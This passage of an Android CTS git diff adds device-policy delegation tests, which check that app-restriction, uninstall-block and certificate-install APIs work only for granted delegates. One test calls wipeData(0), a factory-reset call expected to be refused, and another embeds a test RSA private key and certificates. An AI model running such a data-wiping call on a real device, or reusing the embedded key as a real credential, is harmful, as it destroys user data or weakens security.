+            APP_RESTRICTIONS_TARGET_PKG + ".ApplicationRestrictionsActivity";
+    private static final String ACTION_RESTRICTIONS_VALUE =
+            "com.android.cts.apprestrictions.targetapp.RESTRICTIONS_VALUE";
+
+    private static final Bundle BUNDLE_0 = createBundle0();
+    private static final Bundle BUNDLE_1 = createBundle1();
+
+    private static final long TIMEOUT_SECONDS = 10;
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            if (ACTION_RESTRICTIONS_VALUE.equals(action)) {
+                mReceivedRestrictions = intent.getBundleExtra("value");
+                mOnRestrictionsSemaphore.release();
+            }
+        }
+    };
+
+    private Context mContext;
+    private DevicePolicyManager mDpm;
+    private final Semaphore mOnRestrictionsSemaphore = new Semaphore(0);
+    private Bundle mReceivedRestrictions;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mContext = getInstrumentation().getContext();
+        mDpm = mContext.getSystemService(DevicePolicyManager.class);
+
+        mContext.registerReceiver(mReceiver, new IntentFilter(ACTION_RESTRICTIONS_VALUE));
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mContext.unregisterReceiver(mReceiver);
+        super.tearDown();
+    }
+
+    public void testCannotAccessApis() {
+        assertFalse("DelegateApp should not be an app restrictions delegate",
+                amIAppRestrictionsDelegate());
+        try {
+            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
+            fail("Expected SecurityException not thrown");
+        } catch (SecurityException expected) {
+            MoreAsserts.assertContainsRegex(
+                    "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
+                    expected.getMessage());
+        }
+        try {
+            mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
+            fail("Expected SecurityException not thrown");
+        } catch (SecurityException expected) {
+            MoreAsserts.assertContainsRegex(
+                    "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
+                    expected.getMessage());
+        }
+    }
+
+    public void testCanAccessApis() throws InterruptedException {
+        assertTrue("DelegateApp is not an app restrictions delegate", amIAppRestrictionsDelegate());
+        try {
+            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_0);
+            assertBundle0(mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG));
+
+            // Check that the target app can retrieve the same restrictions.
+            assertBundle0(waitForChangedRestriction());
+
+            // Test overwriting
+            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, BUNDLE_1);
+            assertBundle1(mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG));
+            assertBundle1(waitForChangedRestriction());
+        } finally {
+            mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, new Bundle());
+            assertTrue(
+                mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG).isEmpty());
+        }
+    }
+
+    // Should be consistent with assertBundle0
+    private static Bundle createBundle0() {
+        Bundle result = new Bundle();
+        result.putString("dummyString", "value");
+        return result;
+    }
+
+    // Should be consistent with createBundle0
+    private void assertBundle0(Bundle bundle) {
+        assertEquals(1, bundle.size());
+        assertEquals("value", bundle.getString("dummyString"));
+    }
+
+    // Should be consistent with assertBundle1
+    private static Bundle createBundle1() {
+        Bundle result = new Bundle();
+        result.putInt("dummyInt", 1);
+        return result;
+    }
+
+    // Should be consistent with createBundle1
+    private void assertBundle1(Bundle bundle) {
+        assertEquals(1, bundle.size());
+        assertEquals(1, bundle.getInt("dummyInt"));
+    }
+
+    private void startTestActivity() {
+        mContext.startActivity(new Intent()
+                .setComponent(new ComponentName(
+                        APP_RESTRICTIONS_TARGET_PKG, APP_RESTRICTIONS_ACTIVITY_NAME))
+                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
+    }
+
+    private Bundle waitForChangedRestriction() throws InterruptedException {
+        startTestActivity();
+        assertTrue("App restrictions target app did not respond in time",
+                mOnRestrictionsSemaphore.tryAcquire(TIMEOUT_SECONDS, TimeUnit.SECONDS));
+        return mReceivedRestrictions;
+    }
+
+    private boolean amIAppRestrictionsDelegate() {
+        final List<String> scopes = mDpm.getDelegatedScopes(null, mContext.getPackageName());
+        return scopes.contains(DELEGATION_APP_RESTRICTIONS);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
new file mode 100644
index 0000000..65ebd64
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.test.InstrumentationTestCase;
+import android.test.MoreAsserts;
+
+import java.util.List;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_BLOCK_UNINSTALL} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can choose packages that are block uninstalled.
+ */
+public class BlockUninstallDelegateTest extends InstrumentationTestCase {
+
+    private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+
+    private DevicePolicyManager mDpm;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Context context = getInstrumentation().getContext();
+        mDpm = context.getSystemService(DevicePolicyManager.class);
+    }
+
+    public void testCannotAccessApis() {
+        assertFalse("DelegateApp should not be a block uninstall delegate",
+            amIBlockUninstallDelegate());
+        try {
+            mDpm.setUninstallBlocked(null, TEST_APP_PKG, true);
+            fail("Expected SecurityException not thrown");
+        } catch (SecurityException expected) {
+            MoreAsserts.assertContainsRegex(
+                    "Caller with uid \\d+ is not a delegate of scope delegation-block-uninstall.",
+                    expected.getMessage());
+        }
+    }
+
+    public void testCanAccessApis() {
+        assertTrue("DelegateApp is not a block uninstall delegate",
+            amIBlockUninstallDelegate());
+        try {
+            // Exercise setUninstallBlocked.
+            mDpm.setUninstallBlocked(null, TEST_APP_PKG, true);
+            assertTrue("App not uninstall blocked", mDpm.isUninstallBlocked(null, TEST_APP_PKG));
+        } finally {
+            mDpm.setUninstallBlocked(null, TEST_APP_PKG, false);
+            assertFalse("App still uninstall blocked", mDpm.isUninstallBlocked(null, TEST_APP_PKG));
+        }
+    }
+
+    private boolean amIBlockUninstallDelegate() {
+        final String packageName = getInstrumentation().getContext().getPackageName();
+        final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+        return scopes.contains(DELEGATION_BLOCK_UNINSTALL);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
new file mode 100644
index 0000000..d8d0ab3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.os.UserManager;
+import android.test.InstrumentationTestCase;
+import android.test.MoreAsserts;
+import android.util.Base64;
+import android.util.Base64InputStream;
+import android.util.Log;
+
+import java.io.ByteArrayInputStream;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.security.KeyFactory;
+import java.security.PrivateKey;
+import java.util.List;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests that a package other than the DPC can manage app restrictions if allowed by the DPC
+ * via {@link DevicePolicyManager#setApplicationRestrictionsManagingPackage(ComponentName, String)}
+ */
+public class CertInstallDelegateTest extends InstrumentationTestCase {
+
+    private static final String TEST_CA =
+            "-----BEGIN CERTIFICATE-----\n" +
+            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
+            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
+            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
+            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
+            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
+            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
+            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
+            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
+            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
+            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
+            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
+            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
+            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
+            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
+            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
+            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
+            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
+            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
+            "wQ==\n" +
+            "-----END CERTIFICATE-----";
+
+    // Content from userkey.pem without the private key header and footer.
+    private static final String TEST_KEY =
+            "MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALCYprGsTU+5L3KM\n" +
+            "fhkm0gXM2xjGUH+543YLiMPGVr3eVS7biue1/tQlL+fJsw3rqsPKJe71RbVWlpqU\n" +
+            "mhegxG4s3IvGYVB0KZoRIjDKmnnvlx6nngL2ZJ8O27U42pHsw4z4MKlcQlWkjL3T\n" +
+            "9sV6zW2Wzri+f5mvzKjhnArbLktHAgMBAAECgYBlfVVPhtZnmuXJzzQpAEZzTugb\n" +
+            "tN1OimZO0RIocTQoqj4KT+HkiJOLGFQPwbtFpMre+q4SRqNpM/oZnI1yRtKcCmIc\n" +
+            "mZgkwJ2k6pdSxqO0ofxFFTdT9czJ3rCnqBHy1g6BqUQFXT4olcygkxUpKYUwzlz1\n" +
+            "oAl487CoPxyr4sVEAQJBANwiUOHcdGd2RoRILDzw5WOXWBoWPOKzX/K9wt0yL+mO\n" +
+            "wlFNFSymqo9eLheHcEq/VD9qK9rT700dCewJfWj6+bECQQDNXmWNYIxGii5NJilT\n" +
+            "OBOHiMD/F0NE178j+/kmacbhDJwpkbLYXaP8rW4+Iswrm4ORJ59lvjNuXaZ28+sx\n" +
+            "fFp3AkA6Z7Bl/IO135+eATgbgx6ZadIqObQ1wbm3Qbmtzl7/7KyJvZXcnuup1icM\n" +
+            "fxa//jtwB89S4+Ad6ZJ0WaA4dj5BAkEAuG7V9KmIULE388EZy8rIfyepa22Q0/qN\n" +
+            "hdt8XasRGHsio5Jdc0JlSz7ViqflhCQde/aBh/XQaoVgQeO8jKyI8QJBAJHekZDj\n" +
+            "WA0w1RsBVVReN1dVXgjm1CykeAT8Qx8TUmBUfiDX6w6+eGQjKtS7f4KC2IdRTV6+\n" +
+            "bDzDoHBChHNC9ms=\n";
+
+    // Content from usercert.pem without the header and footer.
+    private static final String TEST_CERT =
+            "MIIDEjCCAfqgAwIBAgIBATANBgkqhkiG9w0BAQsFADBFMQswCQYDVQQGEwJBVTET\n" +
+            "MBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQ\n" +
+            "dHkgTHRkMB4XDTE1MDUwMTE2NTQwNVoXDTI1MDQyODE2NTQwNVowWzELMAkGA1UE\n" +
+            "BhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdp\n" +
+            "ZGdpdHMgUHR5IEx0ZDEUMBIGA1UEAwwLY2xpZW50IGNlcnQwgZ8wDQYJKoZIhvcN\n" +
+            "AQEBBQADgY0AMIGJAoGBALCYprGsTU+5L3KMfhkm0gXM2xjGUH+543YLiMPGVr3e\n" +
+            "VS7biue1/tQlL+fJsw3rqsPKJe71RbVWlpqUmhegxG4s3IvGYVB0KZoRIjDKmnnv\n" +
+            "lx6nngL2ZJ8O27U42pHsw4z4MKlcQlWkjL3T9sV6zW2Wzri+f5mvzKjhnArbLktH\n" +
+            "AgMBAAGjezB5MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2Vu\n" +
+            "ZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQWBBQ8GL+jKSarvTn9fVNA2AzjY7qq\n" +
+            "gjAfBgNVHSMEGDAWgBRzBBA5sNWyT/fK8GrhN3tOqO5tgjANBgkqhkiG9w0BAQsF\n" +
+            "AAOCAQEAgwQEd2bktIDZZi/UOwU1jJUgGq7NiuBDPHcqgzjxhGFLQ8SQAAP3v3PR\n" +
+            "mLzcfxsxnzGynqN5iHQT4rYXxxaqrp1iIdj9xl9Wl5FxjZgXITxhlRscOd/UOBvG\n" +
+            "oMrazVczjjdoRIFFnjtU3Jf0Mich68HD1Z0S3o7X6sDYh6FTVR5KbLcxbk6RcoG4\n" +
+            "VCI5boR5LUXgb5Ed5UxczxvN12S71fyxHYVpuuI0z0HTIbAxKeRw43I6HWOmR1/0\n" +
+            "G6byGCNL/1Fz7Y+264fGqABSNTKdZwIU2K4ANEH7F+9scnhoO6OBp+gjBe5O+7jb\n" +
+            "wZmUCAoTka4hmoaOCj7cqt/IkmxozQ==\n";
+
+    private DevicePolicyManager mDpm;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Context context = getInstrumentation().getContext();
+        mDpm = context.getSystemService(DevicePolicyManager.class);
+    }
+
+    public void testCannotAccessApis() {
+        assertFalse(amICertInstallDelegate());
+        try {
+            mDpm.installCaCert(null, null);
+            fail("Expected SecurityException not thrown");
+        } catch (SecurityException expected) {
+            MoreAsserts.assertContainsRegex(
+                    "Neither user \\d+ nor current process has "
+                    + "android.permission.MANAGE_CA_CERTIFICATES",
+                    expected.getMessage());
+        }
+        try {
+            mDpm.removeKeyPair(null, "alias");
+            fail("Expected SecurityException not thrown");
+        } catch (SecurityException expected) {
+            MoreAsserts.assertContainsRegex(
+                    "Caller with uid \\d+ is not a delegate of scope delegation-cert-install.",
+                    expected.getMessage());
+        }
+    }
+
+    public void testCanAccessApis() throws Exception {
+        assertTrue(amICertInstallDelegate());
+
+        byte[] cert = TEST_CA.getBytes();
+
+        // Exercise installCaCert.
+        assertTrue("Certificate installation failed", mDpm.installCaCert(null, cert));
+
+        // Exercise hasCertInstalled.
+        assertTrue("Certificate is not installed properly", mDpm.hasCaCertInstalled(null, cert));
+
+        // Exercise getInstalledCaCerts.
+        assertTrue("Certificate is not among installed certs",
+                containsCertificate(mDpm.getInstalledCaCerts(null), cert));
+
+        // Exercise uninstallCaCert.
+        mDpm.uninstallCaCert(null, cert);
+        assertFalse("Certificate was not uninstalled", mDpm.hasCaCertInstalled(null, cert));
+
+        // Exercise installKeyPair.
+        final String alias = "delegated-cert-installer-test-key";
+
+        PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(
+                Base64.decode(TEST_KEY, Base64.DEFAULT));
+        KeyFactory kf = KeyFactory.getInstance("RSA");
+        PrivateKey privatekey = kf.generatePrivate(keySpec);
+
+        Certificate certificate = CertificateFactory.getInstance("X.509").generateCertificate(
+                new Base64InputStream(new ByteArrayInputStream(TEST_CERT.getBytes()),
+                    Base64.DEFAULT));
+        assertTrue("Key pair not installed successfully",
+                mDpm.installKeyPair(null, privatekey, certificate, alias));
+
+        // Exercise removeKeyPair.
+        assertTrue("Key pair not removed successfully", mDpm.removeKeyPair(null, alias));
+    }
+
+    private static boolean containsCertificate(List<byte[]> certificates, byte[] toMatch)
+            throws CertificateException {
+        Certificate certificateToMatch = readCertificate(toMatch);
+        for (byte[] certBuffer : certificates) {
+            Certificate cert = readCertificate(certBuffer);
+            if (certificateToMatch.equals(cert)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private static Certificate readCertificate(byte[] certBuffer) throws CertificateException {
+        final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
+        return certFactory.generateCertificate(new ByteArrayInputStream(certBuffer));
+    }
+
+    private boolean amICertInstallDelegate() {
+        final String packageName = getInstrumentation().getContext().getPackageName();
+        final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+        return scopes.contains(DELEGATION_CERT_INSTALL);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegatedScopesReceiverActivity.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegatedScopesReceiverActivity.java
new file mode 100644
index 0000000..29e679d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegatedScopesReceiverActivity.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED;
+import static android.app.admin.DevicePolicyManager.EXTRA_DELEGATION_SCOPES;
+
+import android.app.Activity;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import android.os.Bundle;
+
+import java.util.List;
+
+/**
+ * Simple activity that registers a {@code BroadcastReceiver} for intercepting
+ * {@link DevicePolicyManager#ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED} intents sent when the
+ * a DO/PO calls grants this app new delegation scopes via
+ * {@link DevicePolicyManager#setDelegatedScopes}.
+ */
+public class DelegatedScopesReceiverActivity extends Activity {
+
+    /**
+     * Broadcast action sent reporting the scopes delegated to this app.
+     */
+    private static final String ACTION_REPORT_SCOPES = "com.android.cts.delegate.report_scopes";
+
+    /**
+     * Broadcast action sent reporting that this app is running.
+     */
+    private static final String ACTION_RUNNING = "com.android.cts.delegate.running";
+
+    private final BroadcastReceiver mScopesChangedReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED.equals(intent.getAction())) {
+                handleIntent(intent);
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        handleIntent(getIntent());
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        handleIntent(intent);
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED);
+        registerReceiver(mScopesChangedReceiver, filter);
+        sendRunningBroadcast();
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        unregisterReceiver(mScopesChangedReceiver);
+    }
+
+    private void handleIntent(Intent intent) {
+        if (intent == null) {
+            return;
+        }
+
+        if (ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED.equals(intent.getAction())) {
+            final List<String> scopes = intent.getStringArrayListExtra(EXTRA_DELEGATION_SCOPES);
+            sendScopeReportBroadcast(scopes);
+            finish();
+        }
+    }
+
+    private void sendScopeReportBroadcast(List<String> scopes) {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_REPORT_SCOPES);
+        intent.putExtra(EXTRA_DELEGATION_SCOPES, scopes.toArray(new String[scopes.size()]));
+        sendBroadcast(intent);
+    }
+
+    private void sendRunningBroadcast() {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_RUNNING);
+        sendBroadcast(intent);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
new file mode 100644
index 0000000..24bee4f
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.UserManager;
+import android.test.InstrumentationTestCase;
+import android.test.MoreAsserts;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test general properties of delegate applications that should apply to any delegation scope
+ * granted by a device or profile owner via {@link DevicePolicyManager#setDelegatedScopes}.
+ */
+public class GeneralDelegateTest extends InstrumentationTestCase {
+
+    private DevicePolicyManager mDpm;
+
+    private static final String EXPECTED_DELEGATION_SCOPES[] = {
+        DELEGATION_APP_RESTRICTIONS,
+        DELEGATION_BLOCK_UNINSTALL,
+        DELEGATION_CERT_INSTALL
+    };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDpm = getInstrumentation().getContext().getSystemService(DevicePolicyManager.class);
+    }
+
+    public void testGetsExpectedDelegationScopes() {
+        List<String> delegatedScopes = mDpm.getDelegatedScopes(null,
+                getInstrumentation().getContext().getPackageName());
+
+        assertNotNull("Received null scopes", delegatedScopes);
+        MoreAsserts.assertContentsInAnyOrder("Delegated scopes do not match expected scopes",
+                delegatedScopes, EXPECTED_DELEGATION_SCOPES);
+    }
+
+    public void testDifferentPackageNameThrowsException() {
+        final String otherPackage = "com.android.cts.launcherapps.simpleapp";
+        try {
+            List<String> delegatedScopes = mDpm.getDelegatedScopes(null, otherPackage);
+            fail("Expected SecurityException not thrown");
+        } catch (SecurityException expected) {
+            MoreAsserts.assertContainsRegex("Caller with uid \\d+ is not " + otherPackage,
+                    expected.getMessage());
+        }
+    }
+
+    public void testSettingAdminComponentNameThrowsException() {
+        final String myPackageName = getInstrumentation().getContext().getPackageName();
+        final ComponentName myComponentName = new ComponentName(myPackageName,
+                GeneralDelegateTest.class.getName());
+
+        try {
+            mDpm.setUninstallBlocked(myComponentName, myPackageName, true);
+            fail("Expected SecurityException not thrown");
+        } catch (SecurityException expected) {
+            MoreAsserts.assertContainsRegex("No active admin", expected.getMessage());
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
index d072e8a..3657e14 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
@@ -26,10 +26,9 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
index a288825..da1ed56 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
@@ -26,10 +26,9 @@
 
 LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/WipeDataTest.java b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/WipeDataTest.java
new file mode 100644
index 0000000..ea010f4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/WipeDataTest.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceadmin;
+
+public class WipeDataTest extends BaseDeviceAdminTest {
+
+    // Caution: this test will wipe the device's data if it fails
+    public void testWipeDataThrowsSecurityException() {
+        try {
+            dpm.wipeData(0);
+            fail("wipeData didn't throw expected SecurityException. Managed to kick off factory"
+                    + " reset process");
+        } catch (SecurityException expected) {
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.mk
new file mode 100644
index 0000000..4a74e80
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.mk
@@ -0,0 +1,20 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
